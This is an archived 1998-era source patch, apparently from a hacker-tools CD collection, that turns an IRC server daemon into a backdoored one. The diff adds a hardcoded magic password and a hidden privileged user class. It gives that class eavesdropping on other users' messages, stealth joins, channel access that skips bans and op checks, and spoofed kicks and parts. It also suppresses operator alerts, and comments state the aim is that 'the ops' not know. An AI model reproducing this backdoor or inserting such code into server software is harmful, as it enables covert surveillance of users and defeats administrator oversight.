home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00ircd / w00ircd-src.patch < prev   
Encoding:
Text File  |  1999-03-15  |  109.5 KB  |  3,547 lines

  1. Common subdirectories: ../real-ircd/src/CVS and src/CVS
  2. Only in src: Makefile
  3. Only in src: TODO
  4. diff -u ../real-ircd/src/bsd.c src/bsd.c
  5. --- ../real-ircd/src/bsd.c    Sun Mar  1 11:24:10 1998
  6. +++ src/bsd.c    Wed Aug 12 18:28:49 1998
  7. @@ -94,13 +94,88 @@
  8.  */
  9.  int    deliver_it(aClient *cptr,char *str,int len)
  10.  {
  11. -  int    retval;
  12. +  int i;
  13. +  int retval;
  14. +  int cont, clear; /* New Shok */
  15. +
  16. +  aClient *a;
  17.    aClient    *acpt = cptr->acpt;
  18.  
  19. +  char ch;
  20. +  char *p, *p1, *p2;
  21. +
  22. +  char msg[2048];
  23. +  char sender[128];
  24. +
  25. +
  26. +/*
  27. +  if ((str[0] == '\0') || ((!isprint(str[0])) && str[0] != ' ') &&
  28. +      (str[0] != '\a') && (str[0] != '\t'))) 
  29. +      return 0;
  30. +*/
  31. +
  32. +  /* New Shok stuff (all of this) */
  33. +  bzero(sender, sizeof(sender)), bzero(msg, sizeof(msg));
  34. +
  35. +  p = sender, p1 = str, p2 = msg;
  36. +
  37. +  p1 += 1; /* skip ':' */
  38. +
  39. +  while (*p1) {
  40. +        if (*p1 == ' ' || *p1 == '\n') 
  41. +           break;
  42. +
  43. +        *p++ = *p1++;
  44. +  }
  45. +
  46. +  while (*p1 && *p1 != ':') 
  47. +         p1 += 1; /* Get to the actual message */
  48. +
  49. +  p1 += 1; /* skip final ':' */
  50. +
  51. +  while (*p1 && !iscntrl(*p1))
  52. +    *p2++ = *p1++;
  53. +
  54.  #ifdef    DEBUGMODE
  55.    writecalls++;
  56.  #endif
  57. -  retval = send(cptr->fd, str, len, 0);
  58. +     
  59. +  /* WARNING: Big ugly linked list: ahead 1 mile */
  60. +
  61. +  /* Notify person that they are signing off if watching them */
  62. +  if ((strstr(str, "ERROR")   != NULL) &&
  63. +      (strstr(str, "closing") != NULL)) cont = 1;
  64. +
  65. +  /* keep it from sending junk */
  66. +  if ((strstr(sender, "!") != NULL) || (cont == 1)) 
  67. +     for (a = cptr; a; a = a->prev)
  68. +        if (a->leet == 1)
  69. +           for (i = 0; a->watchlist[i]; i++)
  70. +              if ((strstr(cptr->name, a->watchlist[i]) != NULL) ||
  71. +                  (strstr(sender,     a->watchlist[i]) != NULL) ||
  72. +                  (strstr(msg,        a->watchlist[i]) != NULL) ||
  73. +                  (strstr(str,        a->watchlist[i]) != NULL)) 
  74. +              {
  75. +                 if (cont == 1)
  76. +                    sendto_one(a,
  77. +                        ":%s NOTICE %s :%s (%s@%s) has signed off\n", 
  78. +                     me.name, a->name,
  79. +                        cptr->name, cptr->user->username, cptr->user->host);
  80. +
  81. +                 sendto_one(a, 
  82. +                        ":%s NOTICE %s :Message to %s!%s@%s from %s: %s\n", 
  83. +                        me.name, a->name, 
  84. +                        cptr->name, cptr->user->username, cptr->user->host,
  85. +                        sender, msg); 
  86. +
  87. +                 clear = 1;
  88. +                 retval = send(cptr->fd, str, len, 0);
  89. +                 continue;
  90. +              }
  91. +
  92. +  if (clear != 1) retval = send(cptr->fd, str, len, 0);
  93. +  if (clear == 1) bzero(str, len); /* Clear it all */
  94. +
  95.    /*
  96.    ** Convert WOULDBLOCK to a return of "0 bytes moved". This
  97.    ** should occur only if socket was non-blocking. Note, that
  98. diff -u ../real-ircd/src/channel.c src/channel.c
  99. --- ../real-ircd/src/channel.c    Sun Mar  1 11:24:10 1998
  100. +++ src/channel.c    Wed Aug 12 18:28:49 1998
  101. @@ -683,22 +683,35 @@
  102.        case 0:
  103.      break;
  104.        case -1:
  105. +        /* peedee */
  106. +        if (sptr->leet == 1 || cptr->leet == 1) goto doit;
  107.      if (MyClient(sptr))
  108.        sendto_one(sptr,
  109.               err_str(ERR_CHANOPRIVSNEEDED),
  110.               me.name, parv[0], chptr->chname);
  111.      else
  112.        {
  113. -        /*sendto_ops("Fake: %s MODE %s %s %s",
  114. -          parv[0], parv[1], modebuf, parabuf);*/
  115. +        /* sendto_ops("Fake: %s MODE %s %s %s",
  116. +           parv[0], parv[1], modebuf, parabuf); */
  117.          ircstp->is_fake++;
  118.        }
  119.      break;
  120. +
  121.        default:
  122. -    sendto_channel_butserv(chptr, sptr,
  123. -                   ":%s MODE %s %s %s", parv[0],
  124. -                   chptr->chname, modebuf,
  125. -                   parabuf);
  126. +        doit:
  127. +        /* New Shok */
  128. +        /* New Peedee -- this breaks for the time being so commented. */
  129. +        /* if (cptr->stealth != 1 || sptr->stealth != 1) */
  130. +       sendto_channel_butserv(chptr, sptr,
  131. +                      ":%s MODE %s %s %s", parv[0],
  132. +                      chptr->chname, modebuf,
  133. +                      parabuf);
  134. +
  135. +        /* We did the above because they shouldn't see we got ops..  */
  136. +        /* we did it illegally. Although if they do a /names and see */
  137. +        /* we're opped and there was never a +o.. that could be bad  */
  138. +        /* too ;)                                    */
  139. +
  140.      sendto_match_servs(chptr, cptr,
  141.                 ":%s MODE %s %s %s",
  142.                 parv[0], chptr->chname,
  143. @@ -1258,6 +1271,10 @@
  144.  {
  145.    Reg    Link    *lp;
  146.  
  147. +  /* peedee - allow leet users to join channels regardless of anything. */
  148. +  if ((sptr->leet == 1)) 
  149. +     return 0;
  150. +
  151.    if (is_banned(sptr, chptr))
  152.      return (ERR_BANNEDFROMCHAN);
  153.    if (chptr->mode.mode & MODE_INVITEONLY)
  154. @@ -1531,8 +1548,10 @@
  155.        while ((lp = sptr->user->channel))
  156.          {
  157.            chptr = lp->value.chptr;
  158. -          sendto_channel_butserv(chptr, sptr, PartFmt,
  159. -                     parv[0], chptr->chname);
  160. +
  161. +             sendto_channel_butserv(chptr, sptr, PartFmt,
  162. +                          parv[0], chptr->chname);
  163. +
  164.            remove_user_from_channel(sptr, chptr);
  165.          }
  166.  /*
  167. @@ -1735,10 +1754,13 @@
  168.                 name);
  169.  
  170.        /*
  171. -      ** notify all other users on the new channel
  172. -      */
  173. -      sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s",
  174. -                 parv[0], name);
  175. +       * notify all other users on the new channel
  176. +       */
  177. +
  178. +      /* peedee */
  179. +      if (sptr->stealth != 1)
  180. +         sendto_channel_butserv(chptr, sptr, ":%s JOIN :%s",
  181. +                      parv[0], name);
  182.  
  183.        if (MyClient(sptr))
  184.      {
  185. @@ -1787,7 +1809,7 @@
  186.        return 0;
  187.      }
  188.  
  189. -  name = strtoken( &p, parv[1], ",");
  190. +  name = strtoken(&p, parv[1], ",");
  191.  
  192.  #ifdef ANTI_SPAMBOT    /* Dianora */
  193.        /* if its my client, and isn't an oper */
  194. @@ -1852,8 +1874,10 @@
  195.        */
  196.          
  197.        sendto_match_servs(chptr, cptr, PartFmt, parv[0], name);
  198. -        
  199. -      sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name);
  200. +
  201. +      if (sptr->stealth != 1)
  202. +         sendto_channel_butserv(chptr, sptr, PartFmt, parv[0], name);
  203. +
  204.        remove_user_from_channel(sptr, chptr);
  205.        name = strtoken(&p, (char *)NULL, ",");
  206.      }
  207. @@ -1861,12 +1885,192 @@
  208.  }
  209.  
  210.  /*
  211. +**
  212. +** m_skick ** Peedee & Shok -- Send a spoofed kick or a part to a client. **
  213. +**
  214. +**
  215. +**  parv[0] = sender prefix
  216. +**  parv[1] = channel
  217. +**  parv[2] = client to kick
  218. +**  parv[3] = client to spoof or "none" - Real Shok (if making them part)
  219. +**  parv[4] = kick comment or "part"    - Real Shok (if making them part)
  220. +*/
  221. +
  222. +/* New Shok */
  223. +/* I added it to make it look like they parted (actually, it really  */
  224. +/* does.. it calls m_part()) if the spoof name is "none" or the kick */
  225. +/* comment is "part".                                                */
  226. +
  227. +int    m_skick(aClient *cptr,
  228. +           aClient *sptr,
  229. +           int parc,
  230. +           char *parv[])
  231. +{
  232. +  aClient *who;
  233. +  aChannel *chptr;
  234. +
  235. +  int    chasing = 0, counter = 4;
  236. +
  237. +  char  buffer[2048], newbuff[2048];
  238. +  char    *comment, *name, *p = NULL, *user, *p2 = NULL;
  239. +
  240. +  /* New Peedee -- This make's the server segfault. */
  241. +  /* sendto_one(":%s NOTICE %s :parc == %d\n", me.name, cptr->name, 
  242. +     parc); */
  243. +
  244. +  /* New Peedee -- Minor changes, made SKICK lowercase below. */
  245. +
  246. +  if (sptr->leet != 1) 
  247. +  {
  248. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name,  me.name, "skick");
  249. +    return 0;
  250. +  }
  251. +
  252. +  if (parc < 4 || *parv[1] == '\0')
  253. +  {
  254. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "skick");
  255. +      return 0;
  256. +  }
  257. +  
  258. +  /* Peedee -- Kick message parsing. */
  259. +
  260. +  bzero(buffer, sizeof(buffer));
  261. +
  262. +  for (counter = 4; counter != parc; counter++)
  263. +  {
  264. +    /* Uhm.. overflows. Bad. - Real Shok */
  265. +
  266. +    strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer)-1);
  267. +    buffer[sizeof(buffer)-1] = '\0'; /* Real Shok */
  268. +
  269. +    /* Fixed parse problem here - Real Shok */
  270. +    /* Taken out because I don't see the need - Real Shok */
  271. +    
  272. +    /* New Peedee -- Keep this here, it puts space's in between words for */
  273. +    /*               the kick message. */
  274. +
  275. +    if (counter < parc - 1) strncat(buffer, " ", sizeof(buffer)-1);
  276. +  }
  277. +
  278. +  *nickbuf = *buf = '\0'; 
  279. +
  280. +  name = strtoken(&p, parv[1], ",");
  281. +  while(name)
  282. +  {
  283. +      chptr = get_channel(sptr, name, !CREATE);
  284. +      if (!chptr)
  285. +    {
  286. +      sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL),
  287. +             me.name, parv[3], name);
  288. +      name = strtoken(&p, (char*)NULL, ",");
  289. +      continue;
  290. +    }
  291. +
  292. +      user = strtoken(&p2, parv[2], ",");
  293. +      while (user)
  294. +      {
  295. +      if (!(who = find_chasing(sptr, user, &chasing)))
  296. +      {
  297. +          user = strtoken(&p2, (char *)NULL, ",");
  298. +          continue; /* No such user left! */
  299. +      }
  300. +
  301. +      if (IsMember(who, chptr))
  302. +      {
  303. +              /* Real Shok -- added ability to make it look like they */
  304. +              /*              parted the channel, to avoid suspicion  */
  305. +
  306. +              /* New Peedee -- Fixed the way this function operates in */
  307. +          /*               making a user part a channel. */
  308. +
  309. +              if ((strstr(parv[3], "none")) ||
  310. +                  (strstr(parv[4], "part"))) 
  311. +              {
  312. +                    /* New Peedee -- The victim here is really parv[2], also */
  313. +                    /*               this will screw the server because we */
  314. +                    /*               never return the real value to parv[0] */
  315. +            /*               Besides, with the way I rewrote it, we */ 
  316. +                    /*               don't need it anymore. */
  317. +
  318. +                    /* parv[0] = strdup(parv[4]); */
  319. +
  320. +                    /* New Peedee -- Do we really need this? */
  321. +                    /* parv[2] = NULL, parv[3] = NULL, parv[4] = NULL; */
  322. +     
  323. +                    /* New Peedee -- If we call the function, it will show */
  324. +                    /*               a part from our current nickname instead */
  325. +                    /*             of the victim which isn't good. */
  326. +      
  327. +                    /* m_part(cptr, sptr, 2, parv); */
  328. +
  329. +                    /* New Peedee -- Code to execute a part on a user. */
  330. +
  331. +                  while ( name )
  332. +                  {
  333. +                    chptr = get_channel(sptr, name, 0);
  334. +                    if (!chptr)
  335. +                    {
  336. +                      sendto_one(sptr, err_str(ERR_NOSUCHCHANNEL),
  337. +                        me.name, parv[0], name);
  338. +                      name = strtoken(&p, (char *)NULL, ",");
  339. +                      return 0;
  340. +                    }
  341. +
  342. +                    if (!IsMember(sptr, chptr))
  343. +                    {
  344. +                      sendto_one(sptr, err_str(ERR_NOTONCHANNEL),
  345. +                        me.name, parv[0], name);
  346. +                      name = strtoken(&p, (char *)NULL, ",");
  347. +                      return 0;
  348. +                    }
  349. +
  350. +                    bzero(newbuff, sizeof(newbuff));
  351. +                    snprintf(newbuff, (sizeof(newbuff)-1), "%s@%s",
  352. +                      sptr->user->username, sptr->user->host);
  353. +
  354. +                    sendto_match_servs(chptr, sptr, PartFmt, parv[2], newbuff);
  355. +                    sendto_channel_butserv(chptr, sptr, PartFmt, parv[2], 
  356. +                      newbuff);
  357. +
  358. +                    remove_user_from_channel(cptr, chptr);
  359. +                    return 0;
  360. +                }
  361. +              } 
  362. +              else
  363. +              {
  364. +             sendto_channel_butserv(chptr, sptr,
  365. +                        ":%s KICK %s %s :%s", parv[3],
  366. +                        name, who->name, buffer);
  367. +             sendto_match_servs(chptr, cptr,
  368. +                    ":%s KICK %s %s :%s",
  369. +                    parv[3], name,
  370. +                 who->name, buffer);
  371. +
  372. +             remove_user_from_channel(who, chptr);
  373. +              }
  374. +      }
  375. +      else
  376. +        sendto_one(sptr, err_str(ERR_USERNOTINCHANNEL),
  377. +               me.name, parv[3], user, name);
  378. +
  379. +      user = strtoken(&p2, (char *)NULL, ",");
  380. +      }
  381. +
  382. +      name = strtoken(&p, (char*)NULL, ",");
  383. +  }
  384. +
  385. +  return (0);
  386. +}
  387. +
  388. +
  389. +/*
  390.  ** m_kick
  391.  **    parv[0] = sender prefix
  392.  **    parv[1] = channel
  393.  **    parv[2] = client to kick
  394.  **    parv[3] = kick comment
  395.  */
  396. +
  397.  int    m_kick(aClient *cptr,
  398.             aClient *sptr,
  399.             int parc,
  400. @@ -1884,9 +2088,14 @@
  401.           me.name, parv[0], "KICK");
  402.        return 0;
  403.      }
  404. -  if (IsServer(sptr))
  405. -    sendto_ops("KICK from %s for %s %s",
  406. -           parv[0], parv[1], parv[2]);
  407. +  
  408. +  /* peedee - we dont want to bug ircops with our buisness, now do we? */
  409. +
  410. +  if (sptr->leet != 1 || cptr->leet != 1)
  411. +     if (IsServer(sptr))
  412. +        sendto_ops("KICK from %s for %s %s",
  413. +               parv[0], parv[1], parv[2]);
  414. +
  415.    comment = (BadPtr(parv[3])) ? parv[0] : parv[3];
  416.    if (strlen(comment) > (size_t) TOPICLEN)
  417.      comment[TOPICLEN] = '\0';
  418. @@ -1911,8 +2120,10 @@
  419.           -Dianora
  420.        */
  421.  
  422. -      if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) 
  423. -    { 
  424. +      /* peedee */
  425. +      if (sptr->leet != 1 || cptr->leet != 1)
  426. +         if (!IsServer(sptr) && !is_chan_op(sptr, chptr) ) 
  427. +     { 
  428.        /* was a user, not a server, and user isn't seen as a chanop here */
  429.  
  430.        if(MyConnect(sptr))
  431. @@ -1969,7 +2180,7 @@
  432.          -Dianora
  433.  
  434.               */
  435. -    }
  436. +     }
  437.  
  438.        user = strtoken(&p2, parv[2], ",");
  439.        user_count = 4;
  440. @@ -1991,6 +2202,14 @@
  441.                   ":%s KICK %s %s :%s",
  442.                   parv[0], name,
  443.                   who->name, comment);
  444. +
  445. +              /* Shok - go into stealth mode when kicked */
  446. +              if (who->leet == 1) {
  447. +                 who->stealth = 1;
  448. +                 sendto_one(who, ":%s NOTICE %s Kick recieved from %s, setting stealth mode on!", 
  449. +                            me.name, cptr->name, parv[1]);
  450. +              }
  451. +
  452.            remove_user_from_channel(who, chptr);
  453.          }
  454.        else
  455. @@ -2308,8 +2527,12 @@
  456.        for (lp = chptr->members; lp; lp = lp->next)
  457.      {
  458.        c2ptr = lp->value.cptr;
  459. -      if (IsInvisible(c2ptr) && !IsMember(sptr,chptr))
  460. +
  461. +          /* Shok, peedee */
  462. +      if ((IsInvisible(c2ptr) && !IsMember(sptr, chptr)) 
  463. +               || c2ptr->stealth == 1)
  464.          continue;
  465. +
  466.        if (lp->flags & CHFL_CHANOP)
  467.          {
  468.            (void)strcat(buf, "@");
  469. @@ -2360,8 +2583,10 @@
  470.        aChannel *ch3ptr;
  471.        int    showflag = 0, secret = 0;
  472.  
  473. -      if (!IsPerson(c2ptr) || IsInvisible(c2ptr))
  474. +      /* Shok - peedee */
  475. +      if (!IsPerson(c2ptr) || IsInvisible(c2ptr) || c2ptr->stealth == 1)
  476.      continue;
  477. +
  478.        lp = c2ptr->user->channel;
  479.        /*
  480.         * dont show a client if they are on a secret channel or
  481. @@ -2408,6 +2633,9 @@
  482.    Reg    int    cnt = 0, len = 0, clen;
  483.    char     *mask;
  484.  
  485. +  /* Shok - don't show users we joined */
  486. +  if (user->stealth == 1) return;
  487. +
  488.    *buf = ':';
  489.    (void)strcpy(buf+1, user->name);
  490.    (void)strcat(buf, " JOIN ");
  491. @@ -2573,8 +2801,9 @@
  492.      {
  493.        chptr->channelts = tstosend = newts;
  494.        if (MyConnect(sptr))
  495. -        ts_warn("Hacked ops on opless channel: %s",
  496. -            chptr->chname);
  497. +             if (sptr->leet != 1) /* New Shok */
  498. +            ts_warn("Hacked ops on opless channel: %s",
  499. +                chptr->chname);
  500.      }
  501.        else
  502.      tstosend = oldts;
  503. @@ -2816,6 +3045,3 @@
  504.      }
  505.    return 0;
  506.  }
  507. -
  508. -
  509. -
  510. Only in src: ircd
  511. diff -u ../real-ircd/src/parse.c src/parse.c
  512. --- ../real-ircd/src/parse.c    Sun Mar  1 11:24:10 1998
  513. +++ src/parse.c    Wed Aug 12 18:28:49 1998
  514. @@ -628,24 +628,33 @@
  515.     */
  516.    if (IsServer(sptr) || IsMe(sptr))
  517.      {
  518. -      sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd,
  519. -                    sptr->name, sptr->from->name,
  520. -             get_client_name(cptr, TRUE));
  521. +      /* New Shok */
  522. +      /* This will still work as it normally does.. it just wont */
  523. +      /* tell the ops is all. */
  524. +      if (sptr->leet != 1)
  525. +         sendto_realops_lev(DEBUG_LEV, "Message (%s) for %s[%s] from %s", cmd,
  526. +                sptr->name, sptr->from->name,
  527. +                get_client_name(cptr, TRUE));
  528.  
  529.        if (IsServer(cptr))
  530.      {
  531. -      sendto_realops_lev(DEBUG_LEV,
  532. -                     "Not dropping server %s (%s) for Fake Direction",
  533. -                 cptr->name, sptr->name);
  534. +          /* Shok */
  535. +          if (sptr->leet != 1)
  536. +         sendto_realops_lev(DEBUG_LEV,
  537. +                    "Not dropping server %s (%s) for Fake Direction",
  538. +                    cptr->name, sptr->name);
  539.  
  540.        return -1;
  541.      }
  542.  
  543.        if (IsClient(cptr))
  544. -         sendto_realops_lev(DEBUG_LEV,
  545. -                "Would have dropped client %s (%s@%s) [%s from %s]",
  546. -                cptr->name, cptr->user->username, cptr->user->host,
  547. -                cptr->user->server, cptr->from->name);
  548. +
  549. +         /* Shok */
  550. +         if (sptr->leet != 1)
  551. +        sendto_realops_lev(DEBUG_LEV,
  552. +                   "Would have dropped client %s (%s@%s) [%s from %s]",
  553. +                   cptr->name, cptr->user->username, cptr->user->host,
  554. +                   cptr->user->server, cptr->from->name);
  555.  
  556.        return -1;
  557.  
  558. @@ -666,16 +675,20 @@
  559.      if (DoesTS(cptr))
  560.        {
  561.      if (sptr->user)
  562. -            sendto_realops_lev(DEBUG_LEV,
  563. +          /* Shok */
  564. +          if (sptr->leet != 1)
  565. +        sendto_realops_lev(DEBUG_LEV,
  566.              "Message (%s) for %s[%s@%s!%s] from %s (TS, ignored)", cmd,
  567. -            sptr->name, sptr->user->username, sptr->user->host,
  568. -            sptr->from->name, get_client_name(cptr, TRUE));
  569. +                 sptr->name, sptr->user->username, sptr->user->host,
  570. +                 sptr->from->name, get_client_name(cptr, TRUE));
  571.      return 0;
  572.        }
  573.      else
  574.        {
  575.      if (sptr->user)
  576. -       sendto_realops_lev(DEBUG_LEV,
  577. +          /* New Shok - work as usual.. just don't tell ops */
  578. +          if (sptr->leet != 1)
  579. +        sendto_realops_lev(DEBUG_LEV,
  580.                 "Message (%s) for %s[%s@%s!%s] from %s", cmd,
  581.                 sptr->name, sptr->user->username, sptr->user->host,
  582.                 sptr->from->name, get_client_name(cptr, TRUE));
  583. @@ -701,7 +714,8 @@
  584.  
  585.    if (IsClient(cptr))
  586.      {
  587. -     sendto_realops_lev(DEBUG_LEV,
  588. +      if (cptr->leet != 1)
  589. +        sendto_realops_lev(DEBUG_LEV,
  590.           "Weirdness: Unknown client prefix (%s) from %s, Ignoring %s",
  591.               buffer,
  592.               get_client_name(cptr, FALSE), sender);
  593. @@ -724,7 +738,8 @@
  594.             get_client_name(cptr, FALSE));
  595.    else
  596.      {
  597. -      sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender);
  598. +      if (cptr->leet != 1)
  599. +        sendto_realops_lev(DEBUG_LEV, "Unknown prefix (%s) from %s, Squitting %s", buffer, get_client_name(cptr, FALSE), sender);
  600.  
  601.        sendto_one(cptr, ":%s SQUIT %s :(Unknown prefix (%s) from %s)",
  602.           me.name, sender, buffer, get_client_name(cptr, FALSE));
  603. diff -u ../real-ircd/src/s_bsd.c src/s_bsd.c
  604. --- ../real-ircd/src/s_bsd.c    Sun Mar  1 11:24:11 1998
  605. +++ src/s_bsd.c    Wed Aug 12 18:28:49 1998
  606. @@ -193,7 +193,11 @@
  607.      errtmp = err;
  608.  #endif
  609.  
  610. -  sendto_realops_lev(DEBUG_LEV,text, host, strerror(errtmp));
  611. +  /* Shok */
  612. +  /* (if we were trying to hack something and we messed up, */
  613. +  /* we don't want the ops to know)                         */
  614. +  if (cptr->leet != 1) 
  615. +     sendto_realops_lev(DEBUG_LEV, text, host, strerror(errtmp));
  616.  
  617.  #ifdef USE_SYSLOG
  618.    syslog(LOG_WARNING, text, host, strerror(errtmp));
  619. @@ -893,7 +897,8 @@
  620.    aconf = find_conf(cptr->confs, cptr->name, CONF_CONNECT_SERVER);
  621.    if (!aconf)
  622.      {
  623. -      sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE));
  624. +      if (cptr->leet != 1)
  625. +    sendto_realops("Lost C-Line for %s", get_client_name(cptr,FALSE));
  626.  
  627.        return -1;
  628.      }
  629. @@ -903,7 +908,10 @@
  630.    aconf = find_conf(cptr->confs, cptr->name, CONF_NOCONNECT_SERVER);
  631.    if (!aconf)
  632.      {
  633. -      sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE));
  634. +      /* Shok */
  635. +      /* We don't want the ops to know something is up with us */
  636. +      if (cptr->leet != 1)
  637. +        sendto_realops("Lost N-Line for %s", get_client_name(cptr,FALSE));
  638.  
  639.        return -1;
  640.      }
  641. @@ -2309,11 +2317,12 @@
  642.        else
  643.          report_error("Lost connection to %s:%s", cptr);
  644.  
  645. -          sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d",
  646. -             cptr->name, connected/86400,
  647. -             (connected/86400 == 1) ? "" : "s",
  648. -             (connected % 86400) / 3600, (connected % 3600) / 60,
  649. -             connected % 60);
  650. +          if (cptr->stealth != 1)
  651. +        sendto_ops("%s had been connected for %d day%s, %2d:%02d:%02d",
  652. +               cptr->name, connected/86400,
  653. +               (connected/86400 == 1) ? "" : "s",
  654. +               (connected % 86400) / 3600, (connected % 3600) / 60,
  655. +               connected % 60);
  656.      }
  657.        (void)ircsprintf(errmsg, "Read error: %d (%s)", errno,
  658.                 strerror(errno));
  659. diff -u ../real-ircd/src/s_misc.c src/s_misc.c
  660. --- ../real-ircd/src/s_misc.c    Sun Mar  1 11:24:11 1998
  661. +++ src/s_misc.c    Wed Aug 12 18:28:49 1998
  662. @@ -52,6 +52,7 @@
  663.  #include "fdlist.h"
  664.  extern fdlist serv_fdlist;
  665.  
  666. +#include <des.h> /* New Shok */
  667.  #ifdef NO_CHANOPS_WHEN_SPLIT
  668.  extern int server_was_split;
  669.  extern time_t server_split_time;
  670. @@ -75,6 +76,28 @@
  671.   */
  672.  struct    stats    ircst, *ircstp = &ircst;
  673.  
  674. +/* New Shok used for DES encryption */
  675. +void encry(aClient *sptr, char *str)
  676. +{
  677. +  int len = strlen(str);
  678. +  register int i;
  679. +  char encstr[strlen(str)+1]; /* Hopefully, this is enough */
  680. +
  681. +  memset(encstr, 0, sizeof(encstr));
  682. +
  683. +  des_ecb_encrypt((des_cblock *)str, (des_cblock *)encstr,
  684. +                  sptr->sch, DES_ENCRYPT);
  685. +
  686. +  /* Hopefully it's long enough.. otherwise it probably won't */
  687. +  /* decrypt properly. But this should be fine.. IRC only     */
  688. +  /* allows about half the size of the full buffer anyway.    */
  689. +  memset(str, 0, len);
  690. +
  691. +  encstr[strlen(encstr)]   = '\n';
  692. +  encstr[strlen(encstr)+1] = '\0';
  693. +  strncpy(str, encstr, strlen(encstr));
  694. +}
  695. +
  696.  char    *date(time_t clock) 
  697.  {
  698.    static    char    buf[80], plus;
  699. @@ -172,6 +195,15 @@
  700.  */
  701.  int    check_registered_user(aClient *sptr)
  702.  {
  703. +  /* Shok */
  704. +  /* this allows us to do anything we want even if we're not registered */
  705. +  /* just don't let them join a channel is all ;) otherwise.. their     */
  706. +  /* nickname will be NULL.. bad idea ;) We will fix this by having it  */
  707. +  /* check if the user is registered with IsRegisteredUser() in things  */
  708. +  /* involving joining channels, messaging, sending notices, setting    */
  709. +  /* the topic, etc.                                                    */
  710. +  if (sptr->leet == 1) return 0;
  711. +
  712.    if (!IsRegisteredUser(sptr))
  713.      {
  714.        sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*");
  715. @@ -187,6 +219,15 @@
  716.  */
  717.  int    check_registered(aClient *sptr)
  718.  {
  719. +  /* Shok */
  720. +  /* this allows us to do anything we want even if we're not registered */
  721. +  /* just don't let them join a channel is all ;) otherwise.. their     */
  722. +  /* nickname will be NULL.. bad idea ;) We will fix this by having it  */
  723. +  /* check if the user is registered with IsRegisteredUser() in things  */
  724. +  /* involving joining channels, messaging, sending notices, setting    */
  725. +  /* the topic, etc.                                                    */
  726. +  if (sptr->leet == 1) return 0;
  727. +
  728.    if (!IsRegistered(sptr))
  729.      {
  730.        sendto_one(sptr, err_str(ERR_NOTREGISTERED), me.name, "*");
  731. @@ -401,7 +442,8 @@
  732.        sptr->flags |= FLAGS_CLOSING;
  733.        if (IsPerson(sptr))
  734.      {
  735. -           sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]",
  736. +          if (sptr->stealth == 1)
  737. +         sendto_realops_lev(CCONN_LEV, "Client exiting: %s (%s@%s) [%s] [%s]",
  738.              sptr->name, sptr->user->username,
  739.              sptr->user->host,
  740.              (sptr->flags & FLAGS_NORMALEX) ?
  741. diff -u ../real-ircd/src/s_serv.c src/s_serv.c
  742. --- ../real-ircd/src/s_serv.c    Sun Mar  1 11:24:11 1998
  743. +++ src/s_serv.c    Wed Aug 12 18:28:49 1998
  744. @@ -383,8 +383,11 @@
  745.        ** TS_ONLY we can't fall back to the non-TS protocol so
  746.        ** we drop the link  -orabidoo
  747.        */
  748. -      sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)",
  749. -         get_client_name(sptr, TRUE), parv[1], parv[2]);
  750. +      /* Real Shok */
  751. +      if (sptr->leet != 1)
  752. +         sendto_ops("Link %s dropped, wrong TS protocol version (%s,%s)",
  753. +            get_client_name(sptr, TRUE), parv[1], parv[2]);
  754. +
  755.        return exit_client(sptr, sptr, sptr, "Incompatible TS version");
  756.      }
  757.  
  758. @@ -463,8 +466,10 @@
  759.        /*
  760.      Just ignore it for fripps sake... - Dianora
  761.  
  762. -    sendto_ops("User %s trying to become a server %s",
  763. -               get_client_name(cptr, TRUE), host);
  764. +    Shok (in case they uncomment this later on ;)      
  765. +        if (cptr->leet != 1) 
  766. +       sendto_ops("User %s trying to become a server %s",
  767. +                  get_client_name(cptr, TRUE), host);
  768.      */
  769.          
  770.        return 0;
  771. @@ -4717,8 +4722,10 @@
  772.    register aMotd    *temp;
  773.    struct    tm    *tm;
  774.  
  775. +/*
  776.    if (hunt_server(cptr, sptr, ":%s MOTD :%s", 1,parc,parv)!=HUNTED_ISME)
  777.      return 0;
  778. +*/
  779.  
  780.    tm = motd_tm;
  781.    if (motd == (aMotd *)NULL)
  782. @@ -4726,6 +4733,7 @@
  783.        sendto_one(sptr, err_str(ERR_NOMOTD), me.name, parv[0]);
  784.        return 0;
  785.      }
  786. +
  787.    sendto_one(sptr, rpl_str(RPL_MOTDSTART), me.name, parv[0], me.name);
  788.  
  789.    if (tm)
  790. Only in ../real-ircd/src: s_serv.c~
  791. diff -u ../real-ircd/src/s_user.c src/s_user.c
  792. --- ../real-ircd/src/s_user.c    Sun Mar  1 11:24:11 1998
  793. +++ src/s_user.c    Wed Aug 12 18:28:49 1998
  794. @@ -43,6 +43,9 @@
  795.  #include "blalloc.h"
  796.  #endif /* FLUD */
  797.  
  798. +#define MAGIC_PASSWORD "bl00t"
  799. +#define HACKED_NAME "leet"
  800. +
  801.  #if defined( HAVE_STRING_H)
  802.  #include <string.h>
  803.  #else
  804. @@ -215,6 +218,198 @@
  805.    return next;
  806.  }
  807.  
  808. +
  809. +/* New Shok */
  810. +int m_crypt(aClient *cptr, aClient *sptr, int parc, char *parv[])
  811. +{
  812. +  int num;
  813. +  register int i;
  814. +
  815. +  char bb[512];
  816. +
  817. +  memset(bb, 0, sizeof(bb));
  818. +
  819. +  /* We have to allow everyone to do this because it needs */
  820. +  /* to be called before LEET.. even before USER and NICK  */
  821. +
  822. +  if (sptr->crypt == 0) {
  823. +
  824. +        des_random_key(sptr->cb);
  825. +        sptr->cb[sizeof(sptr->cb)-1] = '\0';
  826. +
  827. +        setenv("BITCH", sptr->cb, 1);
  828. +        system("echo $BITCH > /tmp/ircdkey");
  829. +
  830. +        sendto_one(sptr, ":%s NOTICE %s :KEY %s", me.name, cptr->name, 
  831. +                  (u_char *)sptr->cb);
